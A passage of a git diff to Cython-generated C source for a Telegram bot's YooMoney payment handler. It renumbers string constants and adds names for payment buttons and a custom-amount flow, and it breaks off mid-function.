__Pyx_NewRef(__pyx_n_s__36); } return name; } diff --git a/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so index 6bcd13dc..4e1645f7 100755 Binary files a/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/yoomoney_pay.c b/handlers/payments/yoomoney_pay.c index b1bcde47..bdfb27f4 100644 --- a/handlers/payments/yoomoney_pay.c +++ b/handlers/payments/yoomoney_pay.c @@ -2594,30 +2594,26 @@ static const char __pyx_k_F[] = "F"; static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k__2[] = "\320\235\320\260\321\200\321\203\321\210\320\265\320\275\320\260 \321\206\320\265\320\273\320\276\321\201\321\202\320\275\320\276\321\201\321\202\321\214 \321\204\320\260\320\271\320\273\320\276\320\262! \320\236\320\261\320\275\320\276\320\262\320\270\321\202\320\265\321\201\321\214 \321\201 \320\277\320\276\320\273\320\275\320\276\320\271 \320\267\320\260\320\274\320\265\320\275\320\276\320\271 \320\277\320\260\320\277\320\272\320\270!"; -static const char __pyx_k__3[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; -static const char __pyx_k__4[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__6[] = "|"; -static const char __pyx_k__8[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; -static const char __pyx_k__9[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__4[] = "|"; +static const char __pyx_k__6[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__8[] = "&"; +static const char __pyx_k__9[] = "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \321\205\321\215\321\210\320\260 \320\275\320\265 \320\277\321\200\320\276\320\271\320\264\320\265\320\275\320\260"; static const char __pyx_k_gc[] = "gc"; static const char __pyx_k_id[] = "id"; static const char __pyx_k_Any[] = "Any"; -static const char __pyx_k__10[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; -static const char __pyx_k__12[] = "&"; -static const char __pyx_k__13[] = "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \321\205\321\215\321\210\320\260 \320\275\320\265 \320\277\321\200\320\276\320\271\320\264\320\265\320\275\320\260"; -static const char __pyx_k__15[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__16[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; -static const char __pyx_k__18[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; -static const char __pyx_k__19[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; -static const char __pyx_k__20[] = "*"; -static const char __pyx_k__21[] = "."; -static const char __pyx_k__28[] = "?"; +static const char __pyx_k_PAY[] = "PAY"; +static const char __pyx_k__12[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__13[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__14[] = "*"; +static const char __pyx_k__15[] = "."; +static const char __pyx_k__22[] = "?"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_get[] = "get"; static const char __pyx_k_pay[] = "pay"; static const char __pyx_k_row[] = "row"; static const char __pyx_k_url[] = "url"; static const char __pyx_k_web[] = "web"; +static const char __pyx_k_BACK[] = "BACK"; static const char __pyx_k_args[] = "args"; static const char __pyx_k_chat[] = "chat"; static const char __pyx_k_data[] = "data"; @@ -2650,6 +2646,7 @@ static const char __pyx_k_answer[] = "answer"; static const char __pyx_k_config[] = "config"; static const char __pyx_k_enable[] = "enable"; static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_format[] = "format"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_logger[] = "logger"; static const char __pyx_k_module[] = "__module__"; @@ -2679,6 +2676,7 @@ static const char __pyx_k_datetime[] = "datetime"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_set_name[] = "__set_name__"; static const char __pyx_k_yoomoney[] = "yoomoney_"; +static const char __pyx_k_ENTER_SUM[] = "ENTER_SUM"; static const char __pyx_k_as_markup[] = "as_markup"; static const char __pyx_k_hexdigest[] = "hexdigest"; static const char __pyx_k_isenabled[] = "isenabled"; @@ -2710,6 +2708,7 @@ static const char __pyx_k_is_coroutine[] = "_is_coroutine"; static const char __pyx_k_operation_id[] = "operation_id"; static const char __pyx_k_pay_yoomoney[] = "pay_yoomoney"; static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_CUSTOM_AMOUNT[] = "CUSTOM_AMOUNT"; static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; static const char __pyx_k_aiogram_types[] = "aiogram.types"; static const char __pyx_k_callback_data[] = "callback_data"; @@ -2733,6 +2732,7 @@ static const char __pyx_k_withdraw_amount[] = "withdraw_amount"; static const char __pyx_k_yoomoney_amount[] = "yoomoney_amount"; static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_handlers_buttons[] = "handlers.buttons"; static const char __pyx_k_yoomoney_webhook[] = "yoomoney_webhook"; static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; static const char __pyx_k_notification_type[] = "notification_type"; @@ -2750,6 +2750,7 @@ static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; static const char __pyx_k_Webhook_event_received[] = "Webhook event received: "; static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_DEFAULT_PAYMENT_MESSAGE[] = "DEFAULT_PAYMENT_MESSAGE"; static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; static const char __pyx_k_choosing_amount_yoomoney[] = "choosing_amount_yoomoney"; @@ -2820,12 +2821,17 @@ typedef struct { PyObject *__pyx_n_s_AMOUNT_TEXT; PyObject *__pyx_kp_u_Account_ID; PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_BACK; + PyObject *__pyx_n_s_CUSTOM_AMOUNT; + PyObject *__pyx_n_s_DEFAULT_PAYMENT_MESSAGE; + PyObject *__pyx_n_s_ENTER_SUM; PyObject *__pyx_n_s_F; PyObject *__pyx_n_s_FSMContext; PyObject *__pyx_n_u_HASHHASHYOOKASSA; PyObject *__pyx_n_s_InlineKeyboardBuilder; PyObject *__pyx_n_s_InlineKeyboardButton; PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_PAY; PyObject *__pyx_n_s_PAYMENT_OPTIONS; PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; PyObject *__pyx_n_s_ReplenishBalanceState; @@ -2840,21 +2846,15 @@ typedef struct { PyObject *__pyx_n_s_YOOMONEY_ENABLE; PyObject *__pyx_n_s_YOOMONEY_ID; PyObject *__pyx_n_s_YOOMONEY_SECRET_KEY; - PyObject *__pyx_kp_u__10; PyObject *__pyx_kp_u__12; PyObject *__pyx_kp_u__13; + PyObject *__pyx_n_s__14; PyObject *__pyx_kp_u__15; - PyObject *__pyx_kp_u__16; - PyObject *__pyx_kp_u__18; - PyObject *__pyx_kp_u__19; PyObject *__pyx_kp_u__2; - PyObject *__pyx_n_s__20; - PyObject *__pyx_kp_u__21; - PyObject *__pyx_n_s__28; - PyObject *__pyx_kp_u__3; + PyObject *__pyx_n_s__22; PyObject *__pyx_kp_u__4; - PyObject *__pyx_kp_u__6; - PyObject *__pyx_n_u__8; + PyObject *__pyx_n_u__6; + PyObject *__pyx_kp_u__8; PyObject *__pyx_kp_u__9; PyObject *__pyx_n_s_account_id; PyObject *__pyx_n_s_add_connection; @@ -2906,9 +2906,11 @@ typedef struct { PyObject *__pyx_n_s_error; PyObject *__pyx_n_s_exists; PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_n_s_format; PyObject *__pyx_kp_u_gc; PyObject *__pyx_n_s_get; PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_buttons; PyObject *__pyx_n_s_handlers_payments_gift; PyObject *__pyx_n_s_handlers_payments_utils; PyObject *__pyx_n_s_handlers_payments_yoomoney_pay; @@ -3005,17 +3007,17 @@ typedef struct { PyObject *__pyx_int_200; PyObject *__pyx_int_400; PyObject *__pyx_codeobj_; - PyObject *__pyx_tuple__7; - PyObject *__pyx_tuple__22; - PyObject *__pyx_tuple__23; - PyObject *__pyx_tuple__24; - PyObject *__pyx_tuple__25; - PyObject *__pyx_tuple__26; - PyObject *__pyx_tuple__27; - PyObject *__pyx_codeobj__5; + PyObject *__pyx_tuple__5; + PyObject *__pyx_tuple__16; + PyObject *__pyx_tuple__17; + PyObject *__pyx_tuple__18; + PyObject *__pyx_tuple__19; + PyObject *__pyx_tuple__20; + PyObject *__pyx_tuple__21; + PyObject *__pyx_codeobj__3; + PyObject *__pyx_codeobj__7; + PyObject *__pyx_codeobj__10; PyObject *__pyx_codeobj__11; - PyObject *__pyx_codeobj__14; - PyObject *__pyx_codeobj__17; } __pyx_mstate; #if CYTHON_USE_MODULE_STATE @@ -3071,12 +3073,17 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_AMOUNT_TEXT); Py_CLEAR(clear_module_state->__pyx_kp_u_Account_ID); Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_BACK); + Py_CLEAR(clear_module_state->__pyx_n_s_CUSTOM_AMOUNT); + Py_CLEAR(clear_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + Py_CLEAR(clear_module_state->__pyx_n_s_ENTER_SUM); Py_CLEAR(clear_module_state->__pyx_n_s_F); Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_PAY); Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); @@ -3091,21 +3098,15 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_ENABLE); Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_ID); Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_SECRET_KEY); - Py_CLEAR(clear_module_state->__pyx_kp_u__10); Py_CLEAR(clear_module_state->__pyx_kp_u__12); Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_n_s__14); Py_CLEAR(clear_module_state->__pyx_kp_u__15); - Py_CLEAR(clear_module_state->__pyx_kp_u__16); - Py_CLEAR(clear_module_state->__pyx_kp_u__18); - Py_CLEAR(clear_module_state->__pyx_kp_u__19); Py_CLEAR(clear_module_state->__pyx_kp_u__2); - Py_CLEAR(clear_module_state->__pyx_n_s__20); - Py_CLEAR(clear_module_state->__pyx_kp_u__21); - Py_CLEAR(clear_module_state->__pyx_n_s__28); - Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_n_s__22); Py_CLEAR(clear_module_state->__pyx_kp_u__4); - Py_CLEAR(clear_module_state->__pyx_kp_u__6); - Py_CLEAR(clear_module_state->__pyx_n_u__8); + Py_CLEAR(clear_module_state->__pyx_n_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); Py_CLEAR(clear_module_state->__pyx_kp_u__9); Py_CLEAR(clear_module_state->__pyx_n_s_account_id); Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); @@ -3157,9 +3158,11 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_error); Py_CLEAR(clear_module_state->__pyx_n_s_exists); Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_format); Py_CLEAR(clear_module_state->__pyx_kp_u_gc); Py_CLEAR(clear_module_state->__pyx_n_s_get); Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_yoomoney_pay); @@ -3256,17 +3259,17 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_int_200); Py_CLEAR(clear_module_state->__pyx_int_400); Py_CLEAR(clear_module_state->__pyx_codeobj_); - Py_CLEAR(clear_module_state->__pyx_tuple__7); - Py_CLEAR(clear_module_state->__pyx_tuple__22); - Py_CLEAR(clear_module_state->__pyx_tuple__23); - Py_CLEAR(clear_module_state->__pyx_tuple__24); - Py_CLEAR(clear_module_state->__pyx_tuple__25); - Py_CLEAR(clear_module_state->__pyx_tuple__26); - Py_CLEAR(clear_module_state->__pyx_tuple__27); - Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_tuple__5); + Py_CLEAR(clear_module_state->__pyx_tuple__16); + Py_CLEAR(clear_module_state->__pyx_tuple__17); + Py_CLEAR(clear_module_state->__pyx_tuple__18); + Py_CLEAR(clear_module_state->__pyx_tuple__19); + Py_CLEAR(clear_module_state->__pyx_tuple__20); + Py_CLEAR(clear_module_state->__pyx_tuple__21); + Py_CLEAR(clear_module_state->__pyx_codeobj__3); + Py_CLEAR(clear_module_state->__pyx_codeobj__7); + Py_CLEAR(clear_module_state->__pyx_codeobj__10); Py_CLEAR(clear_module_state->__pyx_codeobj__11); - Py_CLEAR(clear_module_state->__pyx_codeobj__14); - Py_CLEAR(clear_module_state->__pyx_codeobj__17); return 0; } #endif @@ -3300,12 +3303,17 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_AMOUNT_TEXT); Py_VISIT(traverse_module_state->__pyx_kp_u_Account_ID); Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_BACK); + Py_VISIT(traverse_module_state->__pyx_n_s_CUSTOM_AMOUNT); + Py_VISIT(traverse_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + Py_VISIT(traverse_module_state->__pyx_n_s_ENTER_SUM); Py_VISIT(traverse_module_state->__pyx_n_s_F); Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_PAY); Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); @@ -3320,21 +3328,15 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_ENABLE); Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_ID); Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_SECRET_KEY); - Py_VISIT(traverse_module_state->__pyx_kp_u__10); Py_VISIT(traverse_module_state->__pyx_kp_u__12); Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_n_s__14); Py_VISIT(traverse_module_state->__pyx_kp_u__15); - Py_VISIT(traverse_module_state->__pyx_kp_u__16); - Py_VISIT(traverse_module_state->__pyx_kp_u__18); - Py_VISIT(traverse_module_state->__pyx_kp_u__19); Py_VISIT(traverse_module_state->__pyx_kp_u__2); - Py_VISIT(traverse_module_state->__pyx_n_s__20); - Py_VISIT(traverse_module_state->__pyx_kp_u__21); - Py_VISIT(traverse_module_state->__pyx_n_s__28); - Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_n_s__22); Py_VISIT(traverse_module_state->__pyx_kp_u__4); - Py_VISIT(traverse_module_state->__pyx_kp_u__6); - Py_VISIT(traverse_module_state->__pyx_n_u__8); + Py_VISIT(traverse_module_state->__pyx_n_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); Py_VISIT(traverse_module_state->__pyx_kp_u__9); Py_VISIT(traverse_module_state->__pyx_n_s_account_id); Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); @@ -3386,9 +3388,11 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_error); Py_VISIT(traverse_module_state->__pyx_n_s_exists); Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_format); Py_VISIT(traverse_module_state->__pyx_kp_u_gc); Py_VISIT(traverse_module_state->__pyx_n_s_get); Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_yoomoney_pay); @@ -3485,17 +3489,17 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_int_200); Py_VISIT(traverse_module_state->__pyx_int_400); Py_VISIT(traverse_module_state->__pyx_codeobj_); - Py_VISIT(traverse_module_state->__pyx_tuple__7); - Py_VISIT(traverse_module_state->__pyx_tuple__22); - Py_VISIT(traverse_module_state->__pyx_tuple__23); - Py_VISIT(traverse_module_state->__pyx_tuple__24); - Py_VISIT(traverse_module_state->__pyx_tuple__25); - Py_VISIT(traverse_module_state->__pyx_tuple__26); - Py_VISIT(traverse_module_state->__pyx_tuple__27); - Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_tuple__5); + Py_VISIT(traverse_module_state->__pyx_tuple__16); + Py_VISIT(traverse_module_state->__pyx_tuple__17); + Py_VISIT(traverse_module_state->__pyx_tuple__18); + Py_VISIT(traverse_module_state->__pyx_tuple__19); + Py_VISIT(traverse_module_state->__pyx_tuple__20); + Py_VISIT(traverse_module_state->__pyx_tuple__21); + Py_VISIT(traverse_module_state->__pyx_codeobj__3); + Py_VISIT(traverse_module_state->__pyx_codeobj__7); + Py_VISIT(traverse_module_state->__pyx_codeobj__10); Py_VISIT(traverse_module_state->__pyx_codeobj__11); - Py_VISIT(traverse_module_state->__pyx_codeobj__14); - Py_VISIT(traverse_module_state->__pyx_codeobj__17); return 0; } #endif @@ -3539,12 +3543,17 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_AMOUNT_TEXT __pyx_mstate_global->__pyx_n_s_AMOUNT_TEXT #define __pyx_kp_u_Account_ID __pyx_mstate_global->__pyx_kp_u_Account_ID #define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_BACK __pyx_mstate_global->__pyx_n_s_BACK +#define __pyx_n_s_CUSTOM_AMOUNT __pyx_mstate_global->__pyx_n_s_CUSTOM_AMOUNT +#define __pyx_n_s_DEFAULT_PAYMENT_MESSAGE __pyx_mstate_global->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE +#define __pyx_n_s_ENTER_SUM __pyx_mstate_global->__pyx_n_s_ENTER_SUM #define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F #define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext #define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA #define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder #define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton #define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_PAY __pyx_mstate_global->__pyx_n_s_PAY #define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS #define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id #define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState @@ -3559,21 +3568,15 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_YOOMONEY_ENABLE __pyx_mstate_global->__pyx_n_s_YOOMONEY_ENABLE #define __pyx_n_s_YOOMONEY_ID __pyx_mstate_global->__pyx_n_s_YOOMONEY_ID #define __pyx_n_s_YOOMONEY_SECRET_KEY __pyx_mstate_global->__pyx_n_s_YOOMONEY_SECRET_KEY -#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 #define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 #define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_n_s__14 __pyx_mstate_global->__pyx_n_s__14 #define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 -#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 -#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 -#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 #define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 -#define __pyx_n_s__20 __pyx_mstate_global->__pyx_n_s__20 -#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 -#define __pyx_n_s__28 __pyx_mstate_global->__pyx_n_s__28 -#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_n_s__22 __pyx_mstate_global->__pyx_n_s__22 #define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 -#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 -#define __pyx_n_u__8 __pyx_mstate_global->__pyx_n_u__8 +#define __pyx_n_u__6 __pyx_mstate_global->__pyx_n_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 #define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 #define __pyx_n_s_account_id __pyx_mstate_global->__pyx_n_s_account_id #define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection @@ -3625,9 +3628,11 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error #define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists #define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_n_s_format __pyx_mstate_global->__pyx_n_s_format #define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc #define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get #define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_buttons __pyx_mstate_global->__pyx_n_s_handlers_buttons #define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift #define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils #define __pyx_n_s_handlers_payments_yoomoney_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_yoomoney_pay @@ -3724,17 +3729,17 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 #define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 #define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ -#define __pyx_tuple__7 __pyx_mstate_global->__pyx_tuple__7 -#define __pyx_tuple__22 __pyx_mstate_global->__pyx_tuple__22 -#define __pyx_tuple__23 __pyx_mstate_global->__pyx_tuple__23 -#define __pyx_tuple__24 __pyx_mstate_global->__pyx_tuple__24 -#define __pyx_tuple__25 __pyx_mstate_global->__pyx_tuple__25 -#define __pyx_tuple__26 __pyx_mstate_global->__pyx_tuple__26 -#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 -#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_tuple__5 __pyx_mstate_global->__pyx_tuple__5 +#define __pyx_tuple__16 __pyx_mstate_global->__pyx_tuple__16 +#define __pyx_tuple__17 __pyx_mstate_global->__pyx_tuple__17 +#define __pyx_tuple__18 __pyx_mstate_global->__pyx_tuple__18 +#define __pyx_tuple__19 __pyx_mstate_global->__pyx_tuple__19 +#define __pyx_tuple__20 __pyx_mstate_global->__pyx_tuple__20 +#define __pyx_tuple__21 __pyx_mstate_global->__pyx_tuple__21 +#define __pyx_codeobj__3 __pyx_mstate_global->__pyx_codeobj__3 +#define __pyx_codeobj__7 __pyx_mstate_global->__pyx_codeobj__7 +#define __pyx_codeobj__10 __pyx_mstate_global->__pyx_codeobj__10 #define __pyx_codeobj__11 __pyx_mstate_global->__pyx_codeobj__11 -#define __pyx_codeobj__14 __pyx_mstate_global->__pyx_codeobj__14 -#define __pyx_codeobj__17 __pyx_mstate_global->__pyx_codeobj__17 /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ @@ -3798,7 +3803,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 40, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 42, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -3806,9 +3811,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 40, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 42, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 1); __PYX_ERR(0, 40, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 1); __PYX_ERR(0, 42, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -3816,14 +3821,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 40, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 42, __pyx_L3_error) else { - 